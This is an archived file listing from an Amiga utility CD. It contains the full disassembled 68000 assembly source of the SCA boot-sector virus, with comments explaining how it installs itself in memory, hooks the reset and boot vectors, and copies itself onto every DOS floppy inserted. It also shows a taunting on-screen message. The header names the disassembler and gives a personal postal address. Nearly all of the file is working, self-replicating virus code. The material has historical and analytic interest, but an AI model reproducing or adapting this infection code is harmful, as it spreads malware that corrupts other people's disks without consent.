home *** CD-ROM | disk | FTP | other *** search
/ Amiga ISO Collection / AmigaUtilCD2.iso / Programming / Assembler / dse-src6.dms / in.adf / SCA.LZH / SCAVIRUS.S < prev   
Encoding:
Text File  |  1993-02-13  |  7.3 KB  |  262 lines

  1. ;********************************************************************
  2. ;*    YES YOU SE RIGHT THIS IS THE SOURCE CODE OF THE SCA VIRUSET   *
  3. ;* THE SOURCE WAS DISASSEMBLED BY SAURON OF THE MIGHTY ACIDE HOUSE  *
  4. ;*     IF YOU WANT TO CONTACT ME THEN YOU FIND MY ADDRESS BELOW     *
  5. ;*==================================================================*
  6. ;*     JOHAN LINDAHL *  LINBLOMMEV.6 * 510 21 SATILA * SWEDEN       *
  7. ;*==================================================================*
  8. ;*             A LITTLE EXPLAINTION HOW THE VIRUS WORK              *
  9. ;*     1    THE VIRUS LIES AT $7EC00                            *
  10. ;*    2    THE RESET ROUTINE BE INSTALLED                      *
  11. ;*    3    CONTINUED BOOT                                      *
  12. ;*                       RESET ROUTINE                              *
  13. ;*    1    CHECK L MOUSE BUTTON TRUE = REMOVE VIRUS AND EXIT   *
  14. ;*    2    ELSE INSTALL RESET ROUTINE AGAIN                    *
  15. ;*    3    INSTALL A BOOT ROUTINE (START IN THE BOOT)          *
  16. ;*    4    EXIT                                                *
  17. ;*                        BOOT ROUTINE                              *
  18. ;*    1    CHECK IF BOOT IS GREATER THEN 1024 bytes then Exit  *
  19. ;*    2    CMP IF A DOS DISK, IF NOT EXIT                      *
  20. ;*    3    CMP IF A SCA VIRUS BOOT, THEN EXIT                  *
  21. ;*    4    CMP IF TIME TO START VIRUS ROUTINE                  *
  22. ;*    5    IF NOT COPY VIRUSBOOT TO THIS DISK AND EXIT         *
  23. ;*    5    ELSE START VIRUS AND EXIT                           *
  24. ;********************************************************************
  25.  
  26.  
  27. Start:        dc.b    "DOS",0        ;DOS or KICK
  28.         dc.l    0        ;CheckSum
  29.         dc.l    880        ;DosPointer
  30.         LEA.L    Start(PC),A0
  31.         LEA.L    $0007EC00,A1
  32.         MOVE.W    #256,D0
  33. Copyl:        MOVE.L    (A0)+,(A1)+
  34.         DBF    D0,Copyl;(PC)
  35.         JSR    $0007EC88    ;Reset
  36.         LEA.L    DosBase(pc),A1;DosBase
  37.         MOVE.L    $00000004,A6
  38.         JSR    -96(A6)
  39.         MOVE.L    D0,A0
  40.         MOVE.L    22(A0),A0
  41.         MOVEQ    #0,D0
  42.         RTS       
  43.  
  44. Resetroutine:    MOVE.L    $00000004,A6
  45.         BTST    #6,$00BFE001
  46.         BNE.S    ContinueVirus
  47.         CLR.L    46(A6)        ;Emty reset
  48.         BSR    Remreset
  49.         LEA.L    $00DFF000,A5
  50.         MOVE.W    #$0060,$180(A5)    ;Green
  51.         MOVEQ    #50,D0
  52.         BSR    WaitTOF
  53.         BRA.S    Exit
  54.  
  55. ContinueVirus:    BSR    Reset
  56.         LEA.L    $0007ECA4,A0
  57.         CMPA.L    -454(A6),A0    ;cmp Bootvector,Bootroutine
  58.         BEQ.S    Exit        ;If equ then rts
  59.         MOVE.L    -454(A6),$0007EFDE ;else save old vector
  60.         MOVE.L    A0,-454(A6)    ;put in the new one
  61. Exit:        RTS
  62.  
  63. Reset:        MOVE.L    #$0007EC3E,46(A6);resetroutine
  64.  
  65. RemReset:    LEA.L    34(A6),A0
  66.         CLR.W    D0
  67.         MOVEQ    #23,D1
  68. Rchsuml:    ADD.W    (A0)+,D0
  69.         DBF    D1,Rchsuml
  70.         NOT.W    D0
  71.         MOVE.W    D0,(A0)
  72.         RTS
  73.  
  74. BootRoutine:    CMPI.L    #$00000400,36(A1)
  75.         BNE.S    DOBR        ;Disk is auto boot
  76.         CMPA.L    40(A1),A4    ;Read address=Virus address
  77.         BEQ.S    AVirus        ;Activate Virus
  78. DOBR:        JMP    $0007EFDC    ;do the old boot routine
  79.  
  80. AVirus:        CLR.L    (A4)
  81.         JSR    $0007EFDC    ;do the old boot routine first
  82.         CMPI.L    #$444F5300,(A4)    ;Cmp if a DOS disk
  83.         BNE.S    Quit        ;if not then exit
  84.         MOVE.L    $0007EFDE,-454(A6);old boot r on boot vector
  85.         CLR.L    $0007EFDE    ;clr.l pointer to old boot r
  86.         MOVEM.L    D0-D7/A0-A5,-(A7)
  87.         LEA.L    $00DFF000,A5
  88.         LEA.L    $0007EC04,A0    ;pointer boot check sum in a0
  89.         MOVE.L    (A0),D0        ;old checksum in d0
  90.         CMP.L    4(A4),D0    ;cmp if virus boot
  91.         BEQ.S    True        ;if true don't write new boot
  92.         MOVE.L    A1,A4        ;trackdisk pointer in a4
  93.         BSR    CopyVirus    ;jsr write virus boot
  94.  
  95. True:        MOVEM.L    (A7)+,D0-D7/A0-A5
  96. Quit:        RTS
  97.  
  98. CopyVirus:    SUBI.W    #1,$0007EEFC
  99.         ADDI.W    #1,$0007EEF8
  100.         MOVE.W    $0007EEF8,D0
  101.         ANDI.W    #$000F,D0
  102.         CMPI.W    #0,D0
  103.         BNE.S    WriteVirus
  104.         BSR    StartVirus
  105.  
  106. WriteVirus:    MOVE.L    A4,A1
  107.         MOVE.W    #1,28(A1)        ;Reset
  108.         MOVE.L    $00000004,A6
  109.         JSR    -456(A6)        ;DoIo
  110.         MOVE.L    A4,A1
  111.         MOVE.W    #3,28(A1)        ;Write
  112.         MOVE.L    #$00000400,36(A1)    ;Length
  113.         MOVE.L    #$0007EC00,40(A1)    ;Buffer
  114.         MOVE.L    #$00000000,44(A1)    ;Sector
  115.         MOVE.L    $00000004,A6
  116.         JSR    -456(A6)        ;DoIo
  117.         MOVE.L    A4,A1
  118.         MOVE.W    #4,28(A1)        ;Update
  119.         MOVE.L    $00000004,A6
  120.         JSR    -456(A6)        ;DoIo
  121.         RTS
  122.  
  123. StartVirus:    MOVE.L    A4,A1
  124.         CLR.L    36(A1)
  125.         MOVE.W    #9,28(A1)    ;Turn of drive motor
  126.         MOVE.L    $00000004,A6
  127.         JSR    -456(A6)    ;DoIo
  128.         LEA.L    $0007EB00,A3    ;$7eb00 = Raster Port
  129.         LEA.L    GfxBase,A1    ;LibName
  130.         CLR.L    D0        ;Version
  131.         MOVE.L    $00000004,A6    ;ExecBase
  132.         JSR    -552(A6)    ;OpenLibrary
  133.         MOVE.L    D0,$0007C8FC    ;Save GfxBase
  134.         MOVE.L    A3,A1        ;RasterPort in a1
  135.         MOVE.L    $0007C8FC,A6    ;Restore GfxBase in a6
  136.         JSR    -198(A6)    ;InitRasterPort
  137.         LEA.L    $0007EA00,A0    ;$7ea00=BitMap
  138.         MOVE.L    A0,4(A3)    ;set Bitmap pointer in RPort
  139.         MOVEQ    #1,D0        ;Deep (colors)
  140.         MOVE.W    #320,D1    ;Width
  141.         MOVE.W    #200,D2    ;Height
  142.         MOVE.L    $0007C8FC,A6    ;Restore GfxBase in a6
  143.         JSR    -390(A6)    ;InitBitMap
  144.         MOVE.L    #$0007EEC4,128(A5);StartCopperList
  145.         MOVE.W    #$0800,$182(A5);Color 2 = Red
  146.         MOVEQ    #100,D0
  147.         BSR    WaitTOF        ;Wait
  148.         LEA.L    $0007EF1B,A2
  149.  
  150. PrintNext:    LEA.L    $0007C900,A0    ;Bitmap
  151.         MOVE.L    A0,$0007EA08 ;Set bmap pointer in BmapStruct
  152.         MOVE.W    #2000,D0    ;Bitmap size 2000*4=8000
  153. ClrBMap:    CLR.L    (A0)+        ;clear bitmap
  154.         DBF    D0,ClrBMap    ;To it is clean
  155.         MOVE.W    #$2e75,$0e8(A5);Display window start
  156.         MOVE.W    #$f6d5,$090(A5);Display window stop
  157.         MOVE.W    #$0038,$092(A5);Data fetch start
  158.         MOVE.W    #$00d0,$094(A5);Data fetch stop
  159.         CLR.L    $0108(A5)    ;Modulo (odd planes)
  160.         MOVE.W    #$1200,$100(A5);bplcon0
  161.         CLR.L    $102(A5)    ;bplcon1
  162.         MOVE.W    #$8380,$096(A5);DMAcon
  163.         MOVE.L    A3,A1        ;RPort in a1
  164.         CLR.L    D0        ;Emty X cord
  165.         MOVE.B    (A2)+,D0    ;X cord
  166.         MOVEQ    #81,D1        ;Y cord
  167.         MOVE.L    $0007C8FC,A6    ;Restore GfxBase in a6
  168.         JSR    -240(A6)    ;Move
  169.         MOVE.L    A3,A1        ;RPort in a1
  170.         CLR.L    D0        ;Emty counter
  171.         MOVE.B    (A2)+,D0    ;How many ch to print ?
  172.         CMPI.B    #0,D0        ;if 0 chars to print
  173.         BEQ.S    Finished    ;Virus finished
  174.         MOVE.L    A2,A0        ;Save text pointer
  175.         LEA.L    0(A2,D0.W),A2;a2=Point at next text to print
  176.         MOVE.L    $0007C8FC,A6    ;Restore GfxBase in a6
  177.         JSR    -60(A6)        ;print Text
  178.         MOVEQ    #7,D2        ;Times to ton up
  179.         MOVE.W    #$0800,D1    ;dark red
  180.  
  181. Toning1:    MOVEQ    #2,D0        ;Time to wait
  182.         BSR    WaitTOF        ;Wait
  183.         MOVE.W    D1,$0182(A5)
  184.         ADDI.W    #$0122,D1
  185.         DBF    D2,Toning1
  186.         CLR.L    D0
  187.         MOVE.B    (A2)+,D0
  188.         BSR    WaitTOF
  189.         MOVEQ    #7,D2
  190.  
  191. Toning2:    MOVEQ    #2,D0
  192.         BSR    WaitTOF
  193.         SUBI.W    #$0122,D1
  194.         MOVE.W    D1,$182(A5)
  195.         DBF    d2,Toning2
  196.         CLR.L    D0
  197.         MOVE.B    (A2)+,D0
  198.         BSR    WaitTOF
  199.         BRA    PrintNext
  200.  
  201. Finished:    MOVE.L    $0007C8FC,A0    ;Restore GfxBase in a6
  202.         MOVE.L    38(A0),$080(A5)    ;Turn on old copperList
  203.         MOVE.W    #$0100,$096(A5)    ;Turn off bitplanes
  204.         RTS
  205.  
  206. WaitTOF:    ADD.W     D0,D0
  207. Wloop:        CMPI.B    #0,6(A5)    ;$dff006
  208.         BNE.S     Wloop
  209. Past:        CMPI.B    #0,6(A5)
  210.         BEQ.S     Past
  211.         DBF       D0,Wloop
  212.         RTS       
  213.  
  214.  
  215. CopperList:    dc.w    $00E0,$0007
  216.         dc.w    $00E2,$C900
  217.         dc.w    $7005,$FFFE
  218.         dc.w    $0180,$0E62
  219.         dc.w    $7405,$FFFE
  220.         dc.w    $0180,$0410
  221.         dc.w    $7505,$FFFE
  222.         dc.w    $0180,$0800
  223.         dc.w    $8605,$FFFE
  224.         dc.w    $0180,$0D51
  225.         dc.w    $8A05,$FFFE
  226.         dc.w    $0180,$0000
  227.         dc.w    $ffff,$fffe
  228.  
  229. ShowVirus:    dc.w    $0011
  230.         dc.w    $FFFA
  231.         dc.w    $FFEA
  232.  
  233. GfxBase:    dc.b    "graphics.library",0
  234. DosBase:    dc.b    "dos.library",0
  235.  
  236. ;    WHAT THE NUMBERS IN TextNdata stands for
  237. ;        1byte=Time to show message
  238. ;        2byte=Time to wait before to print next message
  239. ;        3byte=The X-cordinate to print on
  240. ;        4byte=How many chars to print
  241.  
  242. Text1data:    dc.b    $00,$20
  243. Text1:        dc.b    "Something wonderful has happened"
  244. Text2data:    dc.b    $d2,$aa,$2d,$17
  245. Text2:        dc.b    "Your AMIGA is alive !!!"
  246. Text3data:    dc.b    $be,$a0,$41,$13
  247. Text3:        dc.b    "and, even better..."
  248. Text4data:    dc.b    $50,$50,$04,$1f
  249. Text4:        dc.b    "Some of your disks are infected"
  250. Text5data:    dc.b    $6e,$32,$5a,$0e
  251. Text5:        dc.b    "by a VIRUS !!!"
  252. Text6data:    dc.b    $8c,$78,$32,$16
  253. Text6:        dc.b    "Another masterpiece of"
  254. Text7data:    dc.b    $82,$32,$32,$16
  255. Text7:        dc.b    "The mega-mighty SCA !!"
  256.  
  257.         dc.w    $DC6E,$0000
  258.  
  259. OldBootVector:    JMP       $00000000
  260. Slut:
  261.  
  262.